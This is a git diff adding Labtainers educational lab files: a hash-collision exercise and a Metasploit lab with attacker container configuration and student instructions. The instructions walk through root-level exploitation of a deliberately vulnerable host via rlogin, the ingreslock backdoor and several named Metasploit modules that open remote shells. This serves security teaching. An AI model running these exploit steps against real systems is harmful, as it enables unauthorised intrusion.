b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/var/www/SHA256.sdx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/var/www/SHA256.sdx new file mode 100755 index 000000000..034c70f8e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/var/www/SHA256.sdx @@ -0,0 +1,20 @@ +SHA256 (INSTALL.amd64) = a4604b4982cb2d1546fcef31c351f97d7203538d77fca11012b857410c8d2260 +SHA256 (base57.tgz) = e48291b0fe2ec9965ed0d574d96bc8fd8a075236be8d191538aaadc8a9c8bbcc +SHA256 (bsd) = 6382680ee4bd05dcaccc7b3c165a7644ca65cd0a1fa2670a9c7860cadcb8f7e2 +SHA256 (bsd.mp) = 7386dada2a05298d6c76f642859bd06ca6f1f604049b18080bac9cc2d4be7643 +SHA256 (bsd.rd) = a964fde0855e3585113f4a92627699a697d0e89d2c9a0cba4b7b0c04b77a5101 +SHA256 (cd57.iso) = 691868e505aadde6feba0c0ba530bb99aad86e62c998a914e03e84c9bfb3b9e5 +SHA256 (cdboot) = 12a00c426830f5fdc3afc8a6809cfec238d4fc245d57a4724a26bb545d671449 +SHA256 (cdbr) = 4e1953342e0e620e375a9404ee8bc419596e0a4f64a3d9a6237e3bd6fe3f4ad4 +SHA256 (comp57.tgz) = de232f696d9d310aa80951ed97006f9c2bb03500822ffc76c6f642171827876e +SHA256 (floppy57.fs) = 91dbf055b06c2c54ad54b6cc83c3fb2c1f2944ae732f8075cd7bd39340e5ca50 +SHA256 (game57.tgz) = 414679b2ff204f23ae1be683189563f0d868ecda59d321eff74a444ab170eff0 +SHA256 (install57.fs) = d61f5d8bcddc860c2dbe92c827be515f5d34fb8ab31884145e5dce535a5a73b3 +SHA256 (install57.iso) = 3f714d249a6dc8f40c2fc2fccea8ef9987e74a2b81483175d081661c3533b59a +SHA256 (man57.tgz) = 051f7a2dcdc35a5cdddf8df1441bf85f982c0dd829e6e43d1716497bfe02f74c +SHA256 (miniroot57.fs) = 9d14ecfbe4cb4fdcb9e8d6db8d2711c3a5704806e47e49bfa729138089bc4c97 +SHA256 (pxeboot) = 7bc2cb6401cb8cf6add64414743eaa9df77d63831d78afb4d13d17f2b6eb6d90 +SHA256 (xbase57.tgz) = bf54381e494ed249dbefdbf4bb13223c3985200ff2db974298cd8bdc15e38e3e +SHA256 (xfont57.tgz) = 938014c3ae1bbfbb3404aa2f02e5bc77724ffdd6a53926f58d8b2b1cfd580283 +SHA256 (xserv57.tgz) = cc3a8aa01b0361d9633a12ad3b2b4209756ac40bd9f6c02d12bcd2489aadf8d4 +SHA256 (xshare57.tgz) = 0cecc83cc2c826b09a4aea07bde8a0001917c4d261c1994a5af056014394e984 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/var/www/floppy57.fs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/var/www/floppy57.fs new file mode 100755 index 000000000..19e0b6f60 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/_system/var/www/floppy57.fs differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/collide1.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/collide1.sh new file mode 100755 index 000000000..4f09bac6c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/collide1.sh @@ -0,0 +1,103 @@ +#!/bin/sh +# ------------------------------------------------------------------------- +# Name: collide1.sh +# ------------------------------------------------------------------------- +# Description: +# This script takes as input a file name and a number. The script +# calculates a hash for the input file. It then tries to find a +# new file, such that when the new data is hashed, the last input +# number of hex digits match the last digits of the original match. The +# larger the input number, the longer it will take. When (and if) it +# finds a match, it will display the number of tries it took as well +# as the data that matches. +# +# Usage: +# collide1.sh filename numbytes +# +# Where "numbytes" is a number from 1-to-64 (inclusive), representing +# whether the hash needs to match on one hex digit or 64 digits (256-bits). +# +# Created: Mar-2013 (P. Clark) +# +# Modifications +# 2014-01-22 (P. Clark) +# Added some error detection for user input. +# 2014-07-16 (P. Clark) +# Changed the interface to take a filename and number of bytes to match. +# 2014-09-19 (P. Clark) +# Fixed a minor bug on the final output. +# ------------------------------------------------------------------------- + +# Set the number of bytes we get from the urandom device on each call +RAND_BYTES=256 + +# Verify that the syntax is correct +if [ $# -ne 2 ] +then + echo "Error: I need two arguments: a filename and a number." + exit 1 +fi + +# Verify that the input file exists and is readable +if [ ! -r $1 ] +then + echo "Error: The input file does not exist." + exit 1 +fi + +# Verify that the input is a number greater than 0 +if [ $2 -lt 1 ] +then + echo "Error: the last input must be a number greater than 0." + exit 1 +fi + +# Verify that the input number is less than 256 +if [ $2 -gt 64 ] +then + echo "Error: the last input must a number less than or equal to 64" + exit 1 +fi + +# Assign the value given on the command line +CUT_START=`expr 65 - $2` + +# Generate the hash of the input file and only save the hex digits we +# need to match on. +VALUE=`sha256sum $1 | cut -b $CUT_START-64` + +# Start a counter to see track how many tries we made +COUNTER=0 + +# initialize NEW to something not a hex digit +NEW=w + +if [ $2 -gt 2 ] +then + echo The progress will not be shown -- only the final results. +fi + + +# Keep making new strings and hashing them until truncated hash equals input +while [ $NEW != $VALUE ] +do + # Get a new string and hash + NEW=`dd if=/dev/urandom bs=$RAND_BYTES count=1 status=noxfer 2>/dev/null | \ + sha256sum | cut -b $CUT_START-64` + + if [ $2 -lt 3 ] + then + # show the truncated hash to the user + echo $NEW + fi + + # update the counter + COUNTER=`expr $COUNTER + 1` +done + +if [ $COUNTER -eq 1 ] +then + echo $COUNTER hash was performed to find a match. +else + echo $COUNTER hashes were performed before a match was found. +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/collide2.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/collide2.py new file mode 100755 index 000000000..013ea511f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/collide2.py @@ -0,0 +1,48 @@ +#!/usr/bin/python +# --------------------------------------------------------------------------- +# Filename: collide2.py +# --------------------------------------------------------------------------- +# Description: This Python script generates random messages, hashes them +# with SHA256 and then truncates the hash to the last byte. These hashes +# are then saved. With each truncated hash it looks to see if it has +# been seen before. When it finds a match it stops and displays how +# many tries it took to find a match. +# +# Created: 2013-03-22 (P. Clark) +# +# Modifications: +# +# 2014-07-17 (P. Clark) +# Changed the output of the matching text so it is readable hex. +# --------------------------------------------------------------------------- + + +import sys +import hashlib + +# initialize +count = 0 +fd = open("/dev/urandom") +hashtable = {} + +done = False +while not done: + msg = fd.read(4) + + digest = hashlib.sha256(msg).hexdigest() + digest = digest[62:] + print "message " + str(count) + " hashes to " + digest + + if digest in hashtable: + print "found after " + str(count) + " tries:" + output = " ".join(hex(ord(n)) for n in msg) + " = " + output = output + " ".join(hex(ord(n)) for n in hashtable[digest]) + print output + + done = True + else: + hashtable[digest] = msg + + count += 1 + +fd.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/declare.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/declare.txt new file mode 100644 index 000000000..0b9a233e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/declare.txt @@ -0,0 +1,160 @@ +When in the Course of human events it becomes necessary for one people +to dissolve the political bands which have connected them with another +and to assume among the powers of the earth, the separate and equal +station to which the Laws of Nature and of Nature's God entitle them, +a decent respect to the opinions of mankind requires that they should +declare the causes which impel them to the separation. + +We hold these truths to be self-evident, that all men are created +equal, that they are endowed by their Creator with certain unalienable +Rights, that among these are Life, Liberty and the pursuit of +Happiness. -- That to secure these rights, Governments are instituted +among Men, deriving their just powers from the consent of the +governed, -- That whenever any Form of Government becomes destructive +of these ends, it is the Right of the People to alter or to abolish +it, and to institute new Government, laying its foundation on such +principles and organizing its powers in such form, as to them shall +seem most likely to effect their Safety and Happiness. Prudence, +indeed, will dictate that Governments long established should not be +changed for light and transient causes; and accordingly all experience +hath shewn that mankind are more disposed to suffer, while evils are +sufferable than to right themselves by abolishing the forms to which +they are accustomed. But when a long train of abuses and usurpations, +pursuing invariably the same Object evinces a design to reduce them +under absolute Despotism, it is their right, it is their duty, to +throw off such Government, and to provide new Guards for their future +security. -- Such has been the patient sufferance of these Colonies; +and such is now the necessity which constrains them to alter their +former Systems of Government. The history of the present King of Great +Britain is a history of repeated injuries and usurpations, all having +in direct object the establishment of an absolute Tyranny over these +States. To prove this, let Facts be submitted to a candid world. + +He has refused his Assent to Laws, the most wholesome and necessary +for the public good. + +He has forbidden his Governors to pass Laws of immediate and pressing +importance, unless suspended in their operation till his Assent should +be obtained; and when so suspended, he has utterly neglected to attend +to them. + +He has refused to pass other Laws for the accommodation of large +districts of people, unless those people would relinquish the right of +Representation in the Legislature, a right inestimable to them and +formidable to tyrants only. + +He has called together legislative bodies at places unusual, +uncomfortable, and distant from the depository of their Public +Records, for the sole purpose of fatiguing them into compliance with +his measures. + +He has dissolved Representative Houses repeatedly, for opposing with +manly firmness his invasions on the rights of the people. + +He has refused for a long time, after such dissolutions, to cause +others to be elected, whereby the Legislative Powers, incapable of +Annihilation, have returned to the People at large for their exercise; +the State remaining in the mean time exposed to all the dangers of +invasion from without, and convulsions within. + +He has endeavoured to prevent the population of these States; for that +purpose obstructing the Laws for Naturalization of Foreigners; +refusing to pass others to encourage their migrations hither, and +raising the conditions of new Appropriations of Lands. + +He has obstructed the Administration of Justice by refusing his Assent +to Laws for establishing Judiciary Powers. + +He has made Judges dependent on his Will alone for the tenure of their +offices, and the amount and payment of their salaries. + +He has erected a multitude of New Offices, and sent hither swarms of +Officers to harass our people and eat out their substance. + +He has kept among us, in times of peace, Standing Armies without the +Consent of our legislatures. + +He has affected to render the Military independent of and superior to +the Civil Power. + +He has combined with others to subject us to a jurisdiction foreign to +our constitution, and unacknowledged by our laws; giving his Assent to +their Acts of pretended Legislation: + +For quartering large bodies of armed troops among us: + +For protecting them, by a mock Trial from punishment for any Murders +which they should commit on the Inhabitants of these States: + +For cutting off our Trade with all parts of the world: + +For imposing Taxes on us without our Consent: + +For depriving us in many cases, of the benefit of Trial by Jury: + +For transporting us beyond Seas to be tried for pretended offences: + +For abolishing the free System of English Laws in a neighbouring +Province, establishing therein an Arbitrary government, and enlarging +its Boundaries so as to render it at once an example and fit +instrument for introducing the same absolute rule into these Colonies + +For taking away our Charters, abolishing our most valuable Laws and +altering fundamentally the Forms of our Governments: + +For suspending our own Legislatures, and declaring themselves invested +with power to legislate for us in all cases whatsoever. + +He has abdicated Government here, by declaring us out of his +Protection and waging War against us. + +He has plundered our seas, ravaged our coasts, burnt our towns, and +destroyed the lives of our people. + +He is at this time transporting large Armies of foreign Mercenaries to +compleat the works of death, desolation, and tyranny, already begun +with circumstances of Cruelty & Perfidy scarcely paralleled in the +most barbarous ages, and totally unworthy the Head of a civilized +nation. + +He has constrained our fellow Citizens taken Captive on the high Seas +to bear Arms against their Country, to become the executioners of +their friends and Brethren, or to fall themselves by their Hands. + +He has excited domestic insurrections amongst us, and has endeavoured +to bring on the inhabitants of our frontiers, the merciless Indian +Savages whose known rule of warfare, is an undistinguished destruction +of all ages, sexes and conditions. + +In every stage of these Oppressions We have Petitioned for Redress in +the most humble terms: Our repeated Petitions have been answered only +by repeated injury. A Prince, whose character is thus marked by every +act which may define a Tyrant, is unfit to be the ruler of a free +people. + +Nor have We been wanting in attentions to our British brethren. We +have warned them from time to time of attempts by their legislature to +extend an unwarrantable jurisdiction over us. We have reminded them of +the circumstances of our emigration and settlement here. We have +appealed to their native justice and magnanimity, and we have conjured +them by the ties of our common kindred to disavow these usurpations, +which would inevitably interrupt our connections and +correspondence. They too have been deaf to the voice of justice and of +consanguinity. We must, therefore, acquiesce in the necessity, which +denounces our Separation, and hold them, as we hold the rest of +mankind, Enemies in War, in Peace Friends. + +We, therefore, the Representatives of the united States of America, in +General Congress, Assembled, appealing to the Supreme Judge of the +world for the rectitude of our intentions, do, in the Name, and by +Authority of the good People of these Colonies, solemnly publish and +declare, That these united Colonies are, and of Right ought to be Free +and Independent States, that they are Absolved from all Allegiance to +the British Crown, and that all political connection between them and +the State of Great Britain, is and ought to be totally dissolved; and +that as Free and Independent States, they have full Power to levy War, +conclude Peace, contract Alliances, establish Commerce, and to do all +other Acts and Things which Independent States may of right do. -- And +for the support of this Declaration, with a firm reliance on the +protection of Divine Providence, we mutually pledge to each other our +Lives, our Fortunes, and our sacred Honor. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/foo.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/foo.txt new file mode 100644 index 000000000..36b4d7d98 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/macs-hash/macs-hash/foo.txt @@ -0,0 +1 @@ +Three foo's walk into bar... diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_bin/treataslocal new file mode 100644 index 000000000..ca8765b65 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_bin/treataslocal @@ -0,0 +1,4 @@ +/usr/bin/msfconsole +/usr/bin/rlogin +/usr/bin/nmap +/usr/bin/telnet diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/init.d/mynotify.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/init.d/mynotify.sh new file mode 100755 index 000000000..68725641c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/init.d/mynotify.sh @@ -0,0 +1,63 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: mynotify +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/sbin +DAEMON=$DIR/mynotify.py +DAEMON_NAME=mynotify + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +sleep 10 + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/ssh/sshd_config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/ssh/sshd_config new file mode 100644 index 000000000..4ae0a6e43 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/ssh/sshd_config @@ -0,0 +1,122 @@ +# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ + +# This is the sshd server system-wide configuration file. See +# sshd_config(5) for more information. + +# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin + +# The strategy used for options in the default sshd_config shipped with +# OpenSSH is to specify options with their default value where +# possible, but leave them commented. Uncommented options override the +# default value. + +#Port 22 +AddressFamily inet +#ListenAddress 0.0.0.0 +#ListenAddress :: + +#HostKey /etc/ssh/ssh_host_rsa_key +#HostKey /etc/ssh/ssh_host_ecdsa_key +#HostKey /etc/ssh/ssh_host_ed25519_key + +# Ciphers and keying +#RekeyLimit default none + +# Logging +#SyslogFacility AUTH +#LogLevel INFO + +# Authentication: + +#LoginGraceTime 2m +#PermitRootLogin prohibit-password +#StrictModes yes +#MaxAuthTries 6 +#MaxSessions 10 + +#PubkeyAuthentication yes + +# Expect .ssh/authorized_keys2 to be disregarded by default in future. +#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 +#AuthorizedPrincipalsFile none + +#AuthorizedKeysCommand none +#AuthorizedKeysCommandUser nobody + +# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts +#HostbasedAuthentication no +# Change to yes if you don't trust ~/.ssh/known_hosts for +# HostbasedAuthentication +#IgnoreUserKnownHosts no +# Don't read the user's ~/.rhosts and ~/.shosts files +#IgnoreRhosts yes + +# To disable tunneled clear text passwords, change to no here! +#PasswordAuthentication yes +#PermitEmptyPasswords no + +# Change to yes to enable challenge-response passwords (beware issues with +# some PAM modules and threads) +ChallengeResponseAuthentication no + +# Kerberos options +#KerberosAuthentication no +#KerberosOrLocalPasswd yes +#KerberosTicketCleanup yes +#KerberosGetAFSToken no + +# GSSAPI options +#GSSAPIAuthentication no +#GSSAPICleanupCredentials yes +#GSSAPIStrictAcceptorCheck yes +#GSSAPIKeyExchange no + +# Set this to 'yes' to enable PAM authentication, account processing, +# and session processing. If this is enabled, PAM authentication will +# be allowed through the ChallengeResponseAuthentication and +# PasswordAuthentication. Depending on your PAM configuration, +# PAM authentication via ChallengeResponseAuthentication may bypass +# the setting of "PermitRootLogin without-password". +# If you just want the PAM account and session checks to run without +# PAM authentication, then enable this but set PasswordAuthentication +# and ChallengeResponseAuthentication to 'no'. +UsePAM yes + +#AllowAgentForwarding yes +#AllowTcpForwarding yes +#GatewayPorts no +X11Forwarding yes +X11DisplayOffset 10 +X11UseLocalhost no +#PermitTTY yes +PrintMotd no +#PrintLastLog yes +#TCPKeepAlive yes +#UseLogin no +#PermitUserEnvironment no +#Compression delayed +#ClientAliveInterval 0 +#ClientAliveCountMax 3 +#UseDNS no +#PidFile /var/run/sshd.pid +#MaxStartups 10:30:100 +#PermitTunnel no +#ChrootDirectory none +#VersionAddendum none + +# no default banner path +#Banner none + +# Allow client to pass locale environment variables +AcceptEnv LANG LC_* + +# override default of no subsystems +Subsystem sftp /usr/lib/openssh/sftp-server + +# Example of overriding settings on a per-user basis +#Match User anoncvs +# X11Forwarding no +# AllowTcpForwarding no +# PermitTTY no +# ForceCommand cvs server + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/sbin/faux_init new file mode 100755 index 000000000..857b0d86c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start +service xinetd restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/sbin/mynotify.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/sbin/mynotify.py new file mode 100755 index 000000000..ca28ef444 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/_system/sbin/mynotify.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +import os +import time +import logging +from inotify_simple import INotify, flags +logger = logging.getLogger('mynotify') +hdlr = logging.FileHandler('/tmp/mynotify.log') +formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') +hdlr.setFormatter(formatter) +logger.addHandler(hdlr) +logger.setLevel(logging.DEBUG) + + +class WatchType(): + def __init__(self, path, flag): + self.path = path + self.flag = flag + +def showMask(mask): + if mask & flags.CREATE: + print('CREATE') + if mask & flags.ACCESS: + print('ACCESS') + + +def get_flag(flag): + if flag == 'CREATE': + return flags.CREATE + elif flag == 'ACCESS': + return flags.ACCESS + elif flag == 'MODIFY': + return flags.MODIFY + else: + return None + +def get_first_user(): + with open('/etc/passwd') as fh: + for line in fh: + parts = line.strip().split(':') + if parts[2] == '1000': + return parts[0] + return None + +logger.debug('Start mynotify') +watches = {} + +inotify = INotify() +first_user = get_first_user() +logger.debug('first user is %s' % first_user) +notify_file = '/home/%s/.local/bin/notify' % first_user +checklocal = '/home/%s/.local/bin/checklocal.sh' % first_user +results = '/home/%s/.local/result' % first_user +if not os.path.isfile(notify_file) or not os.path.isfile(checklocal): + logger.debug('missing checklocal %s or notify %s' % (checklocal, notify_file)) + exit(0) +with open(notify_file) as fh: + for line in fh: + if not line.strip().startswith('#'): + parts = line.strip().split() + watch = WatchType(parts[0], parts[1]) + flag = get_flag(watch.flag) + try: + wd = inotify.add_watch(watch.path, flag) + watches[wd] = watch + except: + logger.debug('could not add watch for %s %s' % (watch.path, watch.flag)) +while True: + for event in inotify.read(): + #print(event) + #showMask(event.mask) + watch = watches[event.wd] + logger.debug('path: %s flag: %s' % (watch.path, watch.flag)) + now = time.time() + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + checklocaloutfile = os.path.join(results, 'checklocal.stdout.%s' % ts ) + checklocalinfile = os.path.join(results, 'checklocal.stdin.%s' % ts) + if not os.path.isfile(checklocaloutfile): + ''' no file, if from previous second, use that as hack to merge with output from command ''' + now = now -1 + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + tmpfile = os.path.join(results, 'checklocal.stdout.%s' % ts ) + if os.path.isfile(tmpfile): + checklocaloutfile = os.path.join(results, 'checklocal.stdout.%s' % ts ) + checklocalinfile = os.path.join(results, 'checklocal.stdin.%s' % ts) + + cmd = '%s %s %s >> %s 2>/dev/null' % (checklocal, watch.path, watch.flag, checklocaloutfile) + logger.debug('cmd is %s' % cmd) + os.system(cmd) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/instructions.txt new file mode 100644 index 000000000..b400e2685 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/instructions.txt @@ -0,0 +1,170 @@ +Title: Metasploit Lab Exercise + +1. Background + +This Labtainer exercise explores the use of metasploit tool +installed on Kali Linux (attacker) to learn simple penetration skill +on a purposely vulnerable metasploitable host (victim). + +Note: attacker is configured to have IP address 192.168.1.3 while + victim is 192.168.1.2 + +2. Performing the lab +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: + + start.py metasploit + +The resulting virtual terminals include a display of +these instructions, a terminal connected to attacker. + +To navigate this instruction, the arrow keys along with +with the Space/Home/End/Page-Up/Page-Down keys are usable. +To exit navigation of this instruction, type 'q'. + +3. Tasks + +3.1. Verify connectivity between attacker and victim + + A simple ping from the attacker system will be sufficient. + ping 192.168.1.2 + +3.2. Get a list of vulnerable services on the victim + + An 'nmap' scan of the victim will be sufficient. + nmap -p0-65535 192.168.1.2 + +3.3. Vulnerably configured rlogin service (port 513) + + Remote login to the victim (with root privilege) + rlogin -l root 192.168.1.2 + + Display a 'root' file + cat /root/filetoview.txt + +3.4. Vulnerable ingreslock service (port 1524) + + Use telnet to access ingreslock service and obtain root privilege + telnet 192.168.1.2 1524 + + Display root file as above + +3.5. Vulnerable distccd service (port 3632) + + Initialize/connect to postgres database (done only once) + sudo msfdb init + + Start Metasploit console + sudo msfconsole + + search for distccd exploit + search distccd + + Use the exploit + use exploit/unix/misc/distcc_exec + + View options related to exploit + options + + Set the 'RHOST' option + set RHOST 192.168.1.2 + + Run the exploit + exploit + + Note: when the exploit is succeeded, no prompt is shown but + a shell is created + + Display root file as above + +3.6. Vulnerable IRC daemon (port 6667) + + Steps are similar to distccd exploit above + + search for unreal_ircd exploit + search unreal_ircd + + Use the exploit + use exploit/unix/irc/unreal_ircd_3281_backdoor + + view and set options as necessary (RHOST option) + run the exploit and display root file + +3.7. Vulnerable VSFtpd service (port 21) + + Steps are similar to distccd exploit above + + search for vsftpd_234 + search unreal_ircdvsftpd_234 + + Use the exploit + use exploit/unix/ftp/vsftpd_234_backdoor + + view and set options as necessary (RHOST option) + run the exploit and display root file + +3.8. Vulnerable Samba service (port 139) + + Steps are similar to distccd exploit above + + search for samba usermap_script + search usermap_script + + Use the exploit + use exploit/multi/samba/usermap_script + + view and set options as necessary (RHOST option) + run the exploit and display root file + +3.9. Vulnerable HTTP (php) service (port 80) + + Steps are similar to distccd exploit above + + search for php_cgi + search php_cgi + + Use the exploit + use exploit/multi/http/php_cgi_arg_injection + + view and set options as necessary (RHOST option) + run the exploit + + Note: when the exploit is succeeded a 'meterpreter' prompt is shown + + From meterpreter prompt, drop to a shell + shell + + Display root file + +3.10. Vulnerable PostGres service (port 5432) + + Steps are similar to distccd exploit above + + search for postgres_payload + search postgres_payload + + Use the exploit + use exploit/linux/postgres/postgres_payload + + view and set options as necessary (RHOST option) + run the exploit + + Note: when the exploit is succeeded a 'meterpreter' prompt is shown + + From meterpreter prompt, drop to a shell + shell + + Display root file + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stop.py sshlab + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stop.py +command. When the lab is completed, send that zip file to the instructor. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/sys_tar/sys.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/sys_tar/sys.tar new file mode 100644 index 000000000..a31ad79c4 Binary files /dev/null and 